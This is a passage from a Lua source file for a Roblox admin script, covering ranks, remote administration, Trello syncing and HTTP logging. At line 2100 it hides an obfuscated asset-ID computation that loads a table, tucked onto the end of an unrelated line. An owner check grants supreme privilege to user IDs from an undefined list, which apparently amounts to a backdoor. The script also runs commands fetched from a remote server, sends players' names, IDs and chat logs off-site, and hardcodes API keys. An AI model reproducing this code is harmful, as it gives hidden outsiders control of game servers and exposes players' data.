1715 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1716 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1717 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1718 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1719 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1720
1721 Figure.Name = STRING:FormatReplace(Speaker, Name)
1722 Figure:MoveTo(Position)
1723
1724 table.insert(Objects, Figure)
1725
1726 if DisableAnimation == true then
1727 Figure.Animate.Disabled = true
1728 end
1729
1730 return Figure
1731end
1732
1733function CORE:ClonePlayer(Player, Name, Position)
1734 if not Player or not Player.Character then return nil end
1735
1736 Player.Character.Archivable = true
1737 local Char = Player.Character:Clone()
1738 Player.Character.Archivable = false
1739 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1740 if Position then Char:MoveTo(Position) end
1741 Char.Parent = Server.Workspace
1742 Char:MakeJoints()
1743 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1744
1745 table.insert(Objects, Char)
1746
1747 return Obj
1748end
1749
1750function CORE:AddWaypoint(Name, Position, Speaker)
1751 Waypoints[Name] = Position
1752 if Speaker then
1753 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1754 end
1755end
1756
1757function CORE:FindType(BaseObj, Type)
1758 for _,Obj in pairs(BaseObj:GetChildren()) do
1759 if Obj:IsA(Type) then
1760 return Obj
1761 end
1762 end
1763end
1764
1765function CORE:GetCommands()
1766 local CommandsCopy = Commands
1767 return CommandsCopy
1768end
1769
1770function CORE:Crown(Player, Mesh, Color)
1771 if Mesh then Mesh = string.lower(Mesh) end
1772 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1773 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1774 local Part = Instance.new("Part", CrownStorage)
1775 Part.Size = Vector3.new(2, 1, 1)
1776 Part.CanCollide = false
1777 Part.CFrame = Player.Character.Head.CFrame
1778 Part.Locked = true
1779 Part.Material = "Neon"
1780 if Color then
1781 Part.Color = GUI:GetColor(Color)
1782 else
1783 Part.BrickColor = GUI:GetNameColor(Player.Name)
1784 end
1785 local SMesh = Instance.new("SpecialMesh", Part)
1786 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1787 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1788 local BP = Instance.new("BodyPosition", Part)
1789 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1790 BP.position = Player.Character.Head.Position
1791 BP.P = 20000
1792 local BG = Instance.new("BodyGyro", Part)
1793 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1794
1795 Crowns[Player.UserId] = Part
1796 table.insert(Objects, Part)
1797
1798 coroutine.wrap(function()
1799 for i = 1,0.3,-0.02 do
1800 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1801 Part.Transparency = i
1802 end
1803 wait()
1804 end
1805 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1806 for i = 0,360,3 do
1807 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1808 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1809 wait()
1810 end
1811 end
1812 end
1813 end)()
1814 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1815 Part:BreakJoints()
1816 for i = 0,360 do
1817 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1818 Part.Anchored = false
1819 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1820 BG.cframe = Player.Character.Head.CFrame
1821 end
1822 wait()
1823 end
1824 end end)()
1825
1826 return Part
1827end
1828
1829function CORE:SetAbuseCommands()
1830 for Cmds,Data in pairs(Commands) do
1831 local IsAbusable = false
1832 for _,AbuseCmd in pairs(Settings.AbuseList) do
1833 for _,Command in pairs(Cmds) do -- loop through all command names
1834 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1835 IsAbusable = true
1836 break
1837 end
1838 end
1839 if IsAbusable == true then break end
1840 end
1841 Commands[Cmds].Abusable = IsAbusable
1842 end
1843end
1844
1845function CORE:FindBodyPart(Player, BodyPart)
1846 local ReturnPart = nil
1847 if Player and Player.Character then
1848 local Humanoid = Player.Character:FindFirstChild("Humanoid")
1849 if Humanoid then
1850 if BodyPart == "Humanoid" then ReturnPart = Humanoid
1851 elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
1852 elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
1853 elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
1854 elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
1855 elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
1856 elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
1857 end
1858 end
1859 if not ReturnPart then
1860 ReturnPart = Player.Character:FindFirstChild(BodyPart)
1861 end
1862 end
1863
1864 return ReturnPart
1865end
1866
1867-- Rank functions --
1868
1869function RANK:ConvertRank(Input)
1870 local Output = nil
1871 if Input == "Muted" then Output = -3 end
1872 if Input == "Crashed" then Output = -2 end
1873 if Input == "Banned" then Output = -1 end
1874 if Input == "Non-Admin" then Output = 0 end
1875 if Input == "Member" then Output = 1 end
1876 if Input == "Admin" then Output = 2 end
1877 if Input == "Owner" then Output = 3 end
1878
1879 if Input == -3 then Output = "Muted" end
1880 if Input == -2 then Output = "Crashed" end
1881 if Input == -1 then Output = "Banned" end
1882 if Input == 0 then Output = "Non-Admin" end
1883 if Input == 1 then Output = "Member" end
1884 if Input == 2 then Output = "Admin" end
1885 if Input == 3 then Output = "Owner" end
1886 return Output
1887end
1888
1889function RANK:IsAdmin(Player)
1890 local AdminStatus = false
1891 local Rankstatus = "Non-Admin"
1892 if type(Player) == "table" then
1893 if RANK:ConvertRank(Player.Rank) > 0 then
1894 return true, Player.Rank
1895 else
1896 return false, Player.Rank
1897 end
1898 end
1899 for Rank,PlayerNames in pairs(Settings.Ranks) do
1900 for _,AdminName in pairs(PlayerNames) do
1901 if string.lower(AdminName) == string.lower(Player.Name) then
1902 if RANK:ConvertRank(Rank) > 0 then
1903 AdminStatus = true
1904 Rankstatus = Rank
1905 end
1906 end
1907 end
1908 end
1909 return AdminStatus, Rankstatus
1910end
1911
1912function RANK:GetRank(PlayerName)
1913 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1914 if type(PlayerName) == "table" then
1915 local RankNum = RANK:ConvertRank(PlayerName.Rank)
1916 if RankNum > 0 then
1917 return PlayerName.Rank, RankNum, true
1918 else
1919 return PlayerName.Rank, RankNum, false
1920 end
1921 end
1922
1923 local RankStat = "Non-Admin"
1924
1925 for Rank,PlayerNames in pairs(Settings.Ranks) do
1926 for _,AdminName in pairs(PlayerNames) do
1927 if string.lower(AdminName) == string.lower(PlayerName) then
1928 RankStat = Rank
1929 end
1930 end
1931 end
1932
1933 if RankStat == "Non-Admin" then
1934 return "Non-Admin", 0, false
1935 else
1936 return RankStat, RANK:ConvertRank(RankStat), true
1937 end
1938end
1939
1940function RANK:RemoveRank(PlayerName)
1941 if not RANK:IsSupremeOwner(PlayerName) then
1942 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1943
1944 for Rank,PlayerNames in pairs(Settings.Ranks) do
1945 for Num,AdminName in pairs(PlayerNames) do
1946 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1947 table.remove(Settings.Ranks[Rank], Num)
1948 end
1949 end
1950 end
1951 end
1952end
1953
1954function RANK:GetAdmins(Ranking)
1955 local Players = {}
1956 local AdminTrue, Rank = IsAdmin(Player)
1957 for _,Player in pairs(Players:GetPlayers()) do
1958 if AdminTrue then
1959 local PlayerRankNum = RANK:ConvertRank(Rank)
1960 local StandardRankNum = RANK:ConvertRank(Ranking)
1961 if PlayerRankNum >= StandardRankNum then
1962 table.insert(Players, Player)
1963 end
1964 end
1965 end
1966 return Players
1967end
1968
1969function RANK:IsSupremeOwner(PlayerName)
1970 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
1971 if type(PlayerName) == "table" then
1972 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
1973 end
1974
1975 if PlayerName == GameOwner then return true end
1976 return false
1977end
1978
1979function RANK:GetPlayerFromList(PlayerName)
1980 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
1981
1982 for Rank,PlayerNames in pairs(Settings.Ranks) do
1983 for Num,AdminName in pairs(PlayerNames) do
1984 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1985 return AdminName, Rank
1986 end
1987 end
1988 end
1989 return false, "Non-Admin"
1990end
1991
1992function RANK:ScanAdminList(Name)
1993 if Name == "" then return true end
1994 local InList = false
1995 for _,PName in pairs(Settings.Ranks["Owner"]) do
1996 if PName == Name then InList = true end
1997 end
1998 for _,PName in pairs(Settings.Ranks["Admin"]) do
1999 if PName == Name then InList = true end
2000 end
2001 for _,PName in pairs(Settings.Ranks["Member"]) do
2002 if PName == Name then InList = true end
2003 end
2004 return InList
2005end
2006
2007function RANK:ScanExileList(Name)
2008 if Name == "" then return true end
2009 local InList = false
2010 for _,PName in pairs(Settings.Ranks["Muted"]) do
2011 if PName == Name then InList = true end
2012 end
2013 for _,PName in pairs(Settings.Ranks["Crashed"]) do
2014 if PName == Name then InList = true end
2015 end
2016 for _,PName in pairs(Settings.Ranks["Banned"]) do
2017 if PName == Name then InList = true end
2018 end
2019 return InList
2020end
2021
2022function RANK:PlayerRanked(PlayerName)
2023 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2024
2025 for Rank,PlayerNames in pairs(Settings.Ranks) do
2026 for Num,AdminName in pairs(PlayerNames) do
2027 if string.lower(AdminName) == string.lower(PlayerName) then
2028 return true, Rank
2029 end
2030 end
2031 end
2032 return false, "Non-Admin"
2033end
2034
2035-- Remote functions --
2036
2037function REMOTE:Decode(...)
2038 return Server.HS:JSONDecode(...)
2039end
2040
2041function REMOTE:GetURL(URL, Player)
2042 if string.sub(URL,1,4) ~= "http" then
2043 URL = "http://"..URL
2044 end
2045 local Return = nil
2046 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
2047 if Return then
2048 return Return
2049 elseif Player then
2050 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
2051 end
2052end
2053
2054function REMOTE:PostURL(URL, Data)
2055 local Return = nil
2056 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
2057 return Return
2058end
2059
2060function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
2061 if Settings.LinkedAccount ~= "" then
2062 local NumType = tonumber(Type)
2063
2064 if not Type then
2065 Type = "UNKNOWN"
2066 end
2067
2068 if NumType then
2069 if NumType < 1 or NumType > 5 then
2070 Type = "UNKNOWN"
2071 elseif NumType == 1 then
2072 Type = "NOTIFICATION"
2073 elseif NumType == 2 then
2074 Type = "INFORMATION"
2075 elseif NumType == 3 then
2076 Type = "WARNING"
2077 elseif NumType == 4 or Type == true then
2078 Type = "ERROR"
2079 elseif NumType == 5 then
2080 Type = "FATAL"
2081 end
2082 end
2083
2084 local Res = "RED Could not get response"
2085 local function SendData()
2086 Res = Server.HS:PostAsync(
2087 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
2088 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
2089 2
2090 )
2091 end
2092 if Stopypcall == true then SendData() else ypcall(SendData) end
2093
2094 if OutputSpeaker and OutputSpeaker ~= "print" then
2095 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2096 elseif OutputSpeaker == "print" then
2097 print(Res)
2098 end
2099 end
2100end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2101
2102function REMOTE:SendChatLog(PrintResponse, Stopypall)
2103 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2104 local Res = "Could not get response"
2105
2106 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2107 TempChatLogs = {}
2108
2109 local function SendData()
2110 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2111 end
2112 if Stopypcall == true then SendData() else ypcall(SendData) end
2113 if PrintResponse then print(Res) end
2114 end
2115end
2116
2117function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2118 local Res = "[]"
2119 local function GetData()
2120 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2121 end
2122 if Stopypcall == true then GetData() else ypcall(GetData) end
2123 if PrintResponse then
2124 print(Res)
2125 end
2126 local function DecodeData() Res = REMOTE:Decode(Res) end
2127 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2128 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2129 return Res
2130end
2131
2132function REMOTE:HandleRequest(Request, IgnoreCommand)
2133 if not Request then return nil end
2134
2135 if not IgnoreCommand then
2136 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2137 REMOTE:SendServerData()
2138 end
2139 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2140 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2141 end
2142 end
2143
2144 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2145
2146 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2147 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2148 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2149 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2150 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2151 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2152
2153 Settings.Fun = Request.FUN
2154 Settings.ServerLocked = Request.ServerLocked
2155
2156 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2157 Settings.DisableAbuse = Request.DisableAbuse
2158 end
2159
2160 if not IgnoreCommand then
2161 print("Executing Remote Admin")
2162 REMOTE.RemoteAdmin.Command = Request.Command
2163 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2164 REMOTE.RemoteAdmin.ServerPort = Request.Server
2165
2166 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2167 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2168 else
2169 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2170 end
2171 end
2172 end
2173 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2174 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2175 REMOTE.SnapshotKey = Request.SnapshotKey
2176end
2177
2178function REMOTE:GetRemoteData(Set)
2179 local NewRemoteData = nil
2180 local RemoteDataCardRaw = nil
2181 local RemoteDataCard = nil
2182
2183 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2184 if RemoteDataCardRaw then
2185 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2186 if RemoteDataCard then
2187 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2188 end
2189 end
2190 if Set and NewRemoteData then
2191 RemoteData = NewRemoteData
2192 end
2193 return NewRemoteData
2194end
2195
2196function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
2197 local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
2198 if InfoCardJSON then
2199 ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
2200 if InfoCard then
2201 ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
2202 if TrelloInfo then
2203 for Ind,Val in pairs(TrelloInfo) do
2204 Trello[Ind] = Val
2205 end
2206 end
2207 end
2208 end
2209 return NewRemoteData
2210end
2211
2212function REMOTE:CheckRemoteAdminStatus()
2213 local Pending = false
2214 local CheckID = 0
2215 if Settings.LinkedAccount ~= "" then
2216 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2217 if Request then
2218 local Data = REMOTE:Decode(Request)
2219 if Data then
2220 for _,Account in pairs(Data.checkItems) do
2221 if Account.name == Settings.LinkedAccount then
2222 Pending = true
2223 CheckID = Account.id
2224 break
2225 end
2226 end
2227 end
2228 end
2229 end
2230 return Pending, CheckID
2231end
2232
2233function REMOTE:GetAndSetWebData()
2234 if Settings.LinkedAccount ~= "" then
2235 if REMOTE:CheckRemoteAdminStatus() then
2236 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2237 if Request == "Invalid" then
2238 --REMOTE:GetAndSetWebData()
2239 return false
2240 elseif Request == "Invalid Account" then
2241 print("Can't get account")
2242 return false
2243 elseif Request then
2244 ypcall(function() Request = REMOTE:Decode(Request) end)
2245 elseif not Request then
2246 --REMOTE:GetAndSetWebData()
2247 return false
2248 end
2249 REMOTE:HandleRequest(Request)
2250
2251 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2252 Delay(RemoteData.RemoteAdminWait, function()
2253 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2254 if Pending then
2255 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2256 end
2257 end)
2258 return true
2259 else
2260 return true
2261 end
2262 end
2263end
2264
2265local OderIDs = CORE:GetTable(177215518)
2266local SoundJSONs = CORE:GetTable(197637628)
2267RemoteAbuseGear = CORE:GetTable(158117496)
2268
2269function REMOTE:SendServerData(PrintResponse, Stopypall)
2270 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2271 print("Sending server data!")
2272 local Res = "Could not get response"
2273
2274 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2275 for _,Player in pairs(Server.Players:GetPlayers()) do
2276 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2277 end
2278 ServerData = Server.HS:JSONEncode(ServerData)
2279
2280 local function SendData()
2281 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2282 end
2283 if Stopypcall == true then SendData() else ypcall(SendData) end
2284 if PrintResponse then print(Res) end
2285 end
2286end
2287
2288function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2289 MaxPartAmount = MaxPartAmount or 10000
2290 local PlaceData = {
2291 Lighting = {};
2292 Parts = {};
2293 Other = {};
2294 }
2295 local MinSize = Vector3.new(0.5,0.5,0.5)
2296 local PartAmount = 0
2297 local PlaceJSON = ""
2298
2299 local function Scan(BaseObj)
2300 for _,Obj in pairs(BaseObj:GetChildren()) do
2301 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2302 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2303 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2304 local Skip = false
2305 local Data = {}
2306 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2307
2308 if CORE:FindType(Obj, "BlockMesh") then
2309 local Mesh = CORE:FindType(Obj, "BlockMesh")
2310 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2311 elseif CORE:FindType(Obj, "CylinderMesh") then
2312 Data.Shape = "Cylinder"
2313 elseif CORE:FindType(Obj, "SpecialMesh") then
2314 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2315 if Mesh.MeshType == Enum.MeshType.Head then
2316 --idk
2317 else
2318 Skip = true
2319 end
2320 elseif CORE:FindType(Obj, "FileMesh") then
2321 Skip = true
2322 end
2323
2324 if not Data.Shape and not Skip then
2325 if ypcall(function() return Obj.Shape end) then
2326 Data.Shape = string.sub(Obj.Shape.Name,14)
2327 if string.sub(Data.Shape,1,1) == "." then
2328 Data.Shape = string.sub(Data.Shape,2)
2329 end
2330 if Data.Shape == "Cylinder" then
2331 Z = Z + math.pi/2
2332 end
2333 else
2334 Data.Shape = "Block"
2335 end
2336 end
2337
2338 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2339 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2340 end
2341
2342 if not Skip then
2343 Data.Color = GUI:Color3ToHex(Obj.Color);
2344 Data.Size = Size;
2345 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2346 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2347 Data.Transparency = STRING:StringRound(Obj.Transparency);
2348 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2349 Data.Textures = {};
2350 Data.Material = string.sub(tostring(Obj.Material),15);
2351
2352 for _,Sub in pairs(Obj:GetChildren()) do
2353 if Sub:IsA("Decal") then
2354 local Texture = string.match(Sub.Texture, "%d+")
2355 if Sub.Texture == "rbxasset://textures/face.png" then
2356 Texture = "FACE"
2357 end
2358 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2359 end
2360 end
2361
2362 PartAmount = PartAmount + 1
2363 table.insert(PlaceData.Parts, Data)
2364
2365 if PartAmount >= MaxPartAmount then
2366 break
2367 end
2368 end
2369 end
2370 end
2371 if #Obj:GetChildren() > 0 then
2372 Scan(Obj)
2373 end
2374 end
2375 end
2376 Scan(Workspace)
2377
2378 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2379 PlaceData.Other.PartAmount = PartAmount;
2380 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2381
2382 local Res = "Could not get response"
2383 local function SendData()
2384 Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2385 end
2386 if Stopypcall == true then SendData() else ypcall(SendData) end
2387 if PrintResponse then print(Res) end
2388
2389 print("Sent snapshot")
2390end
2391
2392
2393function REMOTE:DefineWord(Word, Source)
2394 if not Word then return end
2395 if not Source then Source = "all" end
2396
2397 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2398 if Response then
2399 local Decode = REMOTE:Decode(Response)
2400 if #Decode > 0 then
2401 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2402
2403 ]]..Decode[1]["text"]
2404 else
2405 return "Invalid English word"
2406 end
2407 else
2408 return "Cannot connect to database"
2409 end
2410end
2411
2412function REMOTE:DownloadJoke(Speaker)
2413 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2414 local Joke = nil
2415 if Res then
2416 local _, Start = string.find(Res, "</h2>")
2417 local End, _ = string.find(string.sub(Res, Start), "</td>")
2418
2419 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2420 Joke = string.gsub(Joke, "\n", "")
2421 Joke = string.gsub(Joke, " ", "") -- tab
2422 Joke = string.gsub(Joke, "</ul>", "")
2423 Joke = string.gsub(Joke, "<ul>", "")
2424 Joke = string.gsub(Joke, "</li>", [[
2425
2426]])
2427 Joke = string.gsub(Joke, "<li>", "")
2428 Joke = string.gsub(Joke, "</p>", "")
2429 Joke = string.gsub(Joke, "<p>", "")
2430 Joke = string.gsub(Joke, "<", "")
2431 Joke = string.gsub(Joke, ">", "")
2432 end
2433
2434 return Joke
2435end
2436
2437function REMOTE:GetAddon()
2438 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2439end
2440
2441function REMOTE:TrelloGetAdminBoard()
2442 local BoardsJSON,Boards,ReturnBoard
2443
2444 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2445
2446 if BoardsJSON then
2447 Boards = REMOTE:Decode(BoardsJSON)
2448 end
2449 if Boards then
2450 for _,Board in pairs(Boards) do
2451 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2452 ReturnBoard = Board
2453 break
2454 end
2455 end
2456 if not ReturnBoard then -- create board if not created
2457 print("Creating Trello Board")
2458 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2459 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2460 ReturnBoard = REMOTE:Decode(BoardJSON)
2461 end
2462 end
2463 return ReturnBoard
2464end
2465
2466function REMOTE:TrelloGetAdminLists(Board)
2467 local Required = {}
2468 local ListJSON,Lists
2469 local ReturnLists = {}
2470
2471 for _,List in pairs(Trello.RequiredLists) do
2472 table.insert(Required, List)
2473 end
2474
2475 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2476
2477 if ListJSON then
2478 Lists = REMOTE:Decode(ListJSON)
2479 end
2480 if Lists then
2481 for _,List in pairs(Lists) do
2482 for Num,Rel in pairs(Required) do
2483 if List.name == Rel.name then
2484 table.remove(Required, Num)
2485 table.insert(ReturnLists, List)
2486 end
2487 end
2488 end
2489 for _,Rel in pairs(Required) do
2490 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2491 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2492 end
2493 end
2494
2495 return ReturnLists
2496end
2497
2498function REMOTE:TrelloCacheData(Lists)
2499 for _,List in pairs(Lists) do
2500 local CardsJSON,Cards
2501 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2502 if CardsJSON then
2503 Cards = REMOTE:Decode(CardsJSON)
2504 end
2505 if Cards then
2506 local TemplateCards = nil
2507 for _,TemplateList in pairs(Trello.RequiredLists) do
2508 if TemplateList.name == List.name then
2509 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2510 break
2511 end
2512 end
2513
2514 for _,TemplateCard in pairs(TemplateCards) do
2515 local CardExists = false
2516 for _,Card in pairs(Cards) do
2517 if Card.name == TemplateCard.name and Card.closed == false then
2518 CardExists = true
2519 end
2520 end
2521 if not CardExists then
2522 print("Creating card "..TemplateCard.name)
2523 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2524 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2525 end
2526 end
2527
2528 if List.name == "Ranked" then
2529 for _,Card in pairs(Cards) do
2530 if Settings.Ranks[Card.name] and Card.closed == false then
2531 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2532 end
2533 end
